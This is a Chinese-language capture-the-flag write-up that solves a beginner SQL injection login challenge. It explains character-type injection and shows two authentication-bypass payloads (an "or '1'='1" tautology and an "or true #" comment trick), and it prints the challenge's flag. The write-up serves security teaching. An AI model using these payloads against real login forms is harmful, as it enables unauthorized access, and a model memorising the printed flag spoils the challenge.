[极客大挑战 2019]EasySQL题解
- 分析
- 解题过程
- 漏洞原理分析
- 明确注入点:
- 尝试万能密码法
- 法一
- 法二
- 总结
分析
从题目分析,这道题应该与SQL注入有关,启动靶机之后,访问url是一个登录界面,随便输入用户名密码之后,发现用的还是[GET]请求👍。那基本可以确定本题一定与SQL注入有关。
- SQL注入的漏洞是基于数据库命令的底层逻辑,在互联网初期,没有人对SQL注入进行预防,这就导致很多历史遗留问题。
迄今为止还是WEB中十大常见漏洞之一
解题过程
漏洞原理分析
对于上面的登录界面,后端验证用户名和密码是否匹配的数据库的查询语句可能是下面这样的格式:
select * from table_name where username=变量1 and password=变量2;
其中的变量1是我们在用户名中输入的字符,变量2是我们在password中输入的字符。SQL注入出现的原理是SQL语句对变量和命令的界定不够清晰,我们可以构造合适的输入变量改变整个SQL查找语句的功能。
明确注入点:
SQL注入的类型主要分为数字型和字符型,分类标准就是变量的数据类型:
对于数字型
select * from table_name where username=变量1 and password=变量2;
我们构造输入
1 and 1=1 #回显正常
1 and 1=2 #回显异常
而对于字符型,关键在于试着找出变量是用什么符号闭合的,常见的符号有'单引号'
,“双引号”
,()
,[]
等。
select * from table_name where username='变量1' and password='变量2';
select * from table_name where username="变量1" and password="变量2";
对于这道题我们构造输入
1'
直接报错,这说明我们输入的'
与前面的某个引号闭合,导致最后多出来一个单独的‘,详细情况如下:
select * from table_name where username='1'' and password='变量2';
这样我们确定本题有注入点,并确定注入类型是字符型。
尝试万能密码法
这好像是CTF中独有的技巧因为一般的渗透都会直接入侵后端(谁和你过家家😅)
法一
我们通过or的逻辑结构,构造前端的payload,以跳过判断逻辑:
?usename=1' or '1'='1&password=1' or '1'='1
后端代码:
select * from table_name where username='1' or '1'='1' and password='1' or '1'='1';
对与门(and)和或门(or)有一定了解的读者很容易理解上面的代码,where
后面的语句一定是真(1),这样就跳过了SQL语句对用户名和密码的判断。
最后的结果是:
flag{c245efae-9088-4dec-8c2e-5c34c73392e9}
法二
上面的方法对于hacker来说还是太讲理了,不够实用,我们直接构造payload:
?username=1' or true #&password=1
select * from table_name where username='1' or true #' and password='1';
这个方法直接使用#
注释掉了后面的语句,同样可以获得flag。
总结
这是一道初级的SQL注入题目,与渗透测试的实际环境有出入,主要的考察点是SQL类型判断以及构造payload。